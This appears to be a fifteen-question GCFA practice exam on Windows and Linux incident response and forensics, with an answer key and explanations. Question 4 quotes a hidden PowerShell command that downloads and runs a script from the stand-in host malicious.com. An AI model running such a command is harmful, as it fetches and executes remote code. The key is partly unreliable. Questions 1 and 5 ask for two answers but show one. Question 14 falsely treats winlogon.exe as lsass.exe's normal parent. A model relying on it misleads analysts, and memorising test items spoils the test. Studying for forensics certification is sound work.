GCFA Practice Test 12 — 15 Questions

Question 1

During an enterprise incident response involving a compromised Windows server, you need to acquire volatile evidence in a forensically sound manner. Which TWO of the following actions should be performed first to preserve the most volatile data? (Choose two.)

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Capture the contents of physical memory (RAM) using a tool like WinPmem or DumpIt.. The order of volatility dictates that physical memory and active network connections are the most perishable. Capturing RAM preserves running processes and encryption keys, while recording network connections captures transient command-and-control activity. These two actions must be performed first to prevent loss of critical evidence before moving to less volatile sources like disk images or event logs.

Answer

Export the Windows Event Logs to a secure location.

Answer

Take screenshots of the desktop and open applications.

Answer

Create a forensic image of the system drive using FTK Imager or dd.

Question 2

An organization's incident response plan includes a requirement to maintain chain of custody for all digital evidence. A security analyst collects a USB drive from a compromised workstation. Which of the following is the MOST critical action to perform to ensure the evidence is admissible in a court of law?

Accepted Answer

Document the collection details, including date, time, location, and collector's name.. Chain of custody is a legal concept that documents the seizure, custody, control, transfer, analysis, and disposition of evidence. Proper documentation from the moment of collection is crucial to prove that the evidence has not been tampered with. This documentation includes details such as date, time, location, collector, and any transfers. Without it, the evidence may be deemed inadmissible.

Answer

Store the USB drive in a secure, locked cabinet with limited access.

Answer

Create a forensic image of the USB drive using a write-blocker.

Answer

Analyze the USB drive immediately to identify the attacker.

Question 3

During an enterprise incident, you discover that an attacker modified the Windows event log service to record only selected events, effectively hiding malicious activity. Which Windows artifact should you analyze first to determine what modifications were made to the logging configuration?

Accepted Answer

The SYSTEM registry hive, specifically the EventLog service key.. The EventLog service configuration is stored in the SYSTEM registry hive, making it the definitive source for determining if an attacker altered logging settings. Other artifacts like event logs themselves or file system metadata may provide indirect clues, but they do not contain the configuration details needed to identify what was changed. Examining the SYSTEM hive allows responders to see exactly which logs were enabled or disabled.

Answer

The NTFS $LogFile for the volume containing the event logs.

Answer

The Application event log for service control manager events.

Answer

The Security event log (EVTX) for event ID 1102.

Question 4

An incident responder is analyzing a compromised Windows server and suspects that an attacker used a scheduled task to maintain persistence. The responder runs 'schtasks /query /fo LIST /v' and sees a task named 'Updater' with a trigger set to run every hour. The task's action is 'powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/script.ps1')"'. Which of the following best describes the attacker's technique?

Accepted Answer

The attacker is using a scheduled task to download and execute a PowerShell script from a remote server, which is a form of fileless malware and persistence.. The scheduled task runs a hidden PowerShell command that downloads and executes a remote script using Invoke-Expression. This is a fileless persistence technique because the payload is not written to disk and the task ensures recurring execution. The responder should treat this as a serious compromise, investigate the remote URL, and check for similar tasks on other systems.

Answer

The attacker is using a scheduled task to run a PowerShell script that is already stored locally on the server, which indicates a previous compromise.

Answer

The attacker is using a scheduled task to run a PowerShell script that is signed by a trusted publisher, which bypasses application whitelisting.

Answer

The attacker is using a scheduled task to execute a PowerShell script that is embedded in the task's action, which is a form of obfuscation.

Question 5

An incident responder is investigating a compromised Windows server. The attacker gained access via a Remote Desktop Protocol (RDP) brute-force attack and then created a new local user account for persistence. The responder needs to identify evidence of the newly created account and any subsequent logon activity. Which TWO of the following Windows artifacts should the responder examine to find this evidence? (Choose two.)

Accepted Answer

SAM registry hive. The Security event log records account creation (4720) and logon events (4624), providing a timeline of the attacker's actions. The SAM registry hive stores the local account database, including the new account's details, and can be analyzed even if logs are cleared. Together, they offer direct evidence of the new account and its use, which is critical for understanding the persistence mechanism.

Answer

Application event log (Event ID 1000)

Answer

System event log (Event ID 7045)

Answer

Prefetch files

Question 6

During an enterprise incident response, you are examining evidence on a Windows Server 2019 system that may contain a fileless malware infection. You need to determine whether a specific process was injected with malicious code. Which Windows forensic artifact is most directly useful for identifying anomalous memory regions in a process, such as those created by reflective DLL injection?

Accepted Answer

Memory dump of the process. Reflective DLL injection loads a DLL directly into memory without writing it to disk, so disk-based artifacts like Prefetch or MFT entries will not show the injected code. A process memory dump captures the actual memory contents, allowing the analyst to spot anomalous regions such as executable memory not backed by a file. This makes the memory dump the most direct and reliable artifact for this scenario.

Answer

MFT (Master File Table) entries

Answer

Prefetch files

Answer

Windows Event Log Security log

Question 7

An enterprise incident responder is analyzing a compromised Windows 10 workstation. The attacker used a scheduled task to maintain persistence. The responder runs 'schtasks /query /fo LIST /v' and sees a task named 'Updater' with the action 'C:\Windows\Temp\svchost.exe'. However, the file svchost.exe is not present in that directory. Which of the following best explains why the task still appears and what should the responder do next?

Accepted Answer

The file may have been deleted by the attacker or antivirus; the task definition remains in the registry and should be examined and removed if malicious.. Scheduled tasks persist in the registry and on disk even if the referenced executable is missing. The attacker may have deleted the executable to hinder analysis, but the task definition remains and can be used to re-establish persistence if the file is restored. The responder must examine the task's XML, registry entries, and creation time, then remove it if malicious. This ensures the persistence mechanism is fully eradicated.

Answer

The task is likely a legitimate Windows component; svchost.exe in Temp is normal. The responder should ignore it.

Answer

The task is a ghost entry; it will be removed after a reboot. No further action is needed.

Answer

The task was created by a Group Policy Object (GPO); it will be recreated on next policy refresh. The responder should check GPOs.

Question 8

An incident responder is investigating a compromised Windows system and finds that the attacker used a technique known as 'process hollowing' to hide malicious code. Which of the following best describes how process hollowing works?

Accepted Answer

The attacker creates a new process in a suspended state, replaces its memory with malicious code, and then resumes the process.. Process hollowing is a technique where an attacker creates a legitimate process in a suspended state, replaces its memory with malicious code, and then resumes it. This allows the malicious code to run under the guise of a trusted process, making it harder to detect. Memory forensics can reveal inconsistencies between the on-disk executable and the in-memory image.

Answer

The attacker injects malicious code into a running process by using remote thread creation, without replacing the entire process image.

Answer

The attacker exploits a vulnerability in a legitimate process to execute arbitrary code within its context, without modifying its memory.

Answer

The attacker uses a scheduled task to execute a malicious script that masquerades as a legitimate system process.

Question 9

An enterprise incident responder is analyzing a compromised Linux server. The attacker used a rootkit that hooks system calls to hide processes and files. Which forensic technique is most effective to detect the rootkit's presence and identify hidden processes?

Accepted Answer

Compare the output of ps and /proc directory listings.. A system call hooking rootkit often intercepts system calls used by tools like ps, causing them to omit hidden processes. The /proc file system, however, is generated by the kernel and may still list all processes. By comparing the process list from ps with the directory entries in /proc, an investigator can identify processes that are present in /proc but missing from ps, indicating rootkit manipulation. This technique is a classic method for detecting user-mode rootkits.

Answer

Run chkrootkit and rkhunter to scan for known rootkit signatures.

Answer

Inspect the output of netstat -tulpn for unusual listening ports.

Answer

Use Volatility to analyze a memory dump for hidden processes.

Question 10

During an investigation of an ext4 file system, an analyst runs `fls -r -m /` and `mactime` to build a body file. The analyst observes that many deleted files show a dtime in the body file, but the mactime timeline places those dtime entries at the time the file was deleted. A colleague claims that dtime in ext4 always represents the time the inode was last modified. Which statement correctly describes ext4 dtime behavior in this timeline context?

Accepted Answer

dtime is the inode deletion time and is populated when the inode is unlinked; mactime correctly maps it to the deletion event.. In ext4, the dtime field in the inode records when the file was deleted or unlinked. When `fls` extracts deleted inodes into a body file, it includes dtime, and `mactime` correctly renders it as a deletion event. Confusing dtime with mtime, atime, or crtime leads to timeline errors. The colleague's claim is incorrect because mtime is a separate field.

Answer

dtime is the inode modification time and is only populated for deleted files; mactime mislabels it as deletion time.

Answer

dtime is the time the inode was created and is preserved after deletion for timeline reconstruction.

Answer

dtime is the time the inode was last accessed and is updated whenever a deleted file is read during forensic acquisition.

Question 11

A forensic analyst is reviewing a Windows 10 system and finds that a scheduled task named 'Updater' was created to run a PowerShell script every hour. The task's action is powershell.exe -WindowStyle Hidden -EncodedCommand <base64>. The task was created by a user account that normally does not perform administrative tasks. Which of the following best describes the forensic significance of this finding?

Accepted Answer

The use of -EncodedCommand is a common obfuscation technique to hide malicious PowerShell code, and together with the hidden window and unusual creator, this strongly indicates persistence.. The combination of a scheduled task running PowerShell with an encoded command, a hidden window, and creation by a non-administrative user is a strong indicator of malicious persistence. Attackers use encoded commands to evade detection and scheduled tasks to maintain execution. This should be investigated by decoding the command and examining the task's XML for further clues.

Answer

This is likely a legitimate software update mechanism, as many applications use scheduled tasks with hidden PowerShell for silent updates.

Answer

The task is likely a red herring because scheduled tasks cannot execute PowerShell scripts without administrative privileges.

Answer

The scheduled task is benign because it runs every hour, which is a common interval for legitimate system maintenance tasks.

Question 12

During a forensic examination of an NTFS volume, an analyst notices that a file's $STANDARD_INFORMATION timestamps show a modification time of 2023-04-01 10:00:00, but the $FILE_NAME timestamps show a modification time of 2023-03-15 14:30:00. The file is not a system file and has not been renamed. What is the most likely explanation for this discrepancy?

Accepted Answer

The file's $STANDARD_INFORMATION timestamps were modified by a timestomping tool, while the $FILE_NAME timestamps remained unchanged.. Timestomping tools often alter $STANDARD_INFORMATION timestamps without updating $FILE_NAME timestamps, especially when the file is not renamed. This creates a discrepancy where $STANDARD_INFORMATION shows a later modification time than $FILE_NAME. Since the file was not renamed, the $FILE_NAME timestamps likely reflect the original modification time, indicating tampering.

Answer

The file was copied from another volume, preserving the $FILE_NAME timestamps but updating the $STANDARD_INFORMATION timestamps.

Answer

The file was moved within the same volume, which updates $STANDARD_INFORMATION but not $FILE_NAME timestamps.

Answer

The file system is corrupted, causing inconsistent timestamps between attributes.

Question 13

During an investigation of a Windows system, an analyst is reviewing a supertimeline and observes that a suspicious executable's $STANDARD_INFORMATION timestamps are all set to a date years before the operating system was installed, while its $FILE_NAME timestamps reflect the actual installation period. The analyst suspects timestomping. Which conclusion is most defensible based on NTFS timestamp behavior?

Accepted Answer

The $STANDARD_INFORMATION timestamps were likely altered by a tool that manipulates file times, since they precede the OS installation while $FILE_NAME reflects the true period. NTFS stores two independent timestamp sets: $STANDARD_INFORMATION, which is writable through common APIs and is the usual target of timestomping tools, and $FILE_NAME, which is updated only on filename-related operations and is harder to alter. A large backward shift in $STANDARD_INFORMATION that predates the OS installation, paired with $FILE_NAME timestamps matching real activity, is strong evidence of deliberate timestamp manipulation rather than normal system behavior.

Answer

The file's $MFT record sequence number was incremented, which reset the $STANDARD_INFORMATION timestamps to the volume creation date

Answer

The $FILE_NAME timestamps are unreliable because NTFS updates them only when the file is renamed

Answer

The discrepancy indicates the file was created by the operating system installer and later modified by a user

Question 14

During a compromise assessment on a Windows 10 workstation, an analyst runs a volatile memory capture and inspects the process list in Volatility 3. The analyst observes a process named 'lsass.exe' with PID 872, whose parent process is 'winlogon.exe' with PID 640. The executable path recorded for lsass.exe is 'C:\Windows\System32\lsass.exe'. Which conclusion is BEST supported by these artifacts?

Accepted Answer

The lsass.exe process appears consistent with a normal Windows host; the parent and image path match expected behavior.. Legitimate LSASS on Windows is launched by winlogon.exe from C:\Windows\System32\lsass.exe, and the captured parent-child relationship and image path both match that baseline. Because neither attribute deviates from expected behavior, the artifacts support a normal-host classification. Analysts should still corroborate with signature and handle inspection, but these particular memory artifacts do not indicate compromise.

Answer

The lsass.exe process is a masquerading implant because its parent should always be services.exe.

Answer

The lsass.exe process has been injected with a credential-dumping payload because its PID is not a multiple of four.

Answer

The lsass.exe process must have been relocated from its original directory because the System32 copy is reserved for svchost.exe.

Question 15

During a forensic investigation of a Windows 10 workstation, an analyst reviews the NTFS Master File Table (MFT) and notices that the $STANDARD_INFORMATION timestamps for a suspicious file are all dated 2023-08-15, but the $FILE_NAME timestamps are dated 2024-01-20. The file is located in C:\Users\Public\Downloads. Which of the following best explains this discrepancy?

Accepted Answer

The file was likely timestomped, as the $STANDARD_INFORMATION timestamps can be modified by user-mode tools while $FILE_NAME timestamps are harder to alter.. The correct answer is the option describing timestomping. In NTFS, $STANDARD_INFORMATION timestamps are easily modified by user-mode APIs, while $FILE_NAME timestamps are stored in the MFT and are more difficult to change. A large discrepancy where $STANDARD_INFORMATION times are earlier than $FILE_NAME times is a strong indicator of timestomping, often used by attackers to hide malicious files.

Answer

The file system journal ($LogFile) recorded a system time change, causing the $STANDARD_INFORMATION timestamps to be adjusted while the $FILE_NAME timestamps remained unchanged.

Answer

The file was copied from another NTFS volume, causing the $STANDARD_INFORMATION timestamps to reflect the original creation time while the $FILE_NAME timestamps reflect the copy time.

Answer

The file was restored from a backup, and the backup software restored the $STANDARD_INFORMATION timestamps but not the $FILE_NAME timestamps.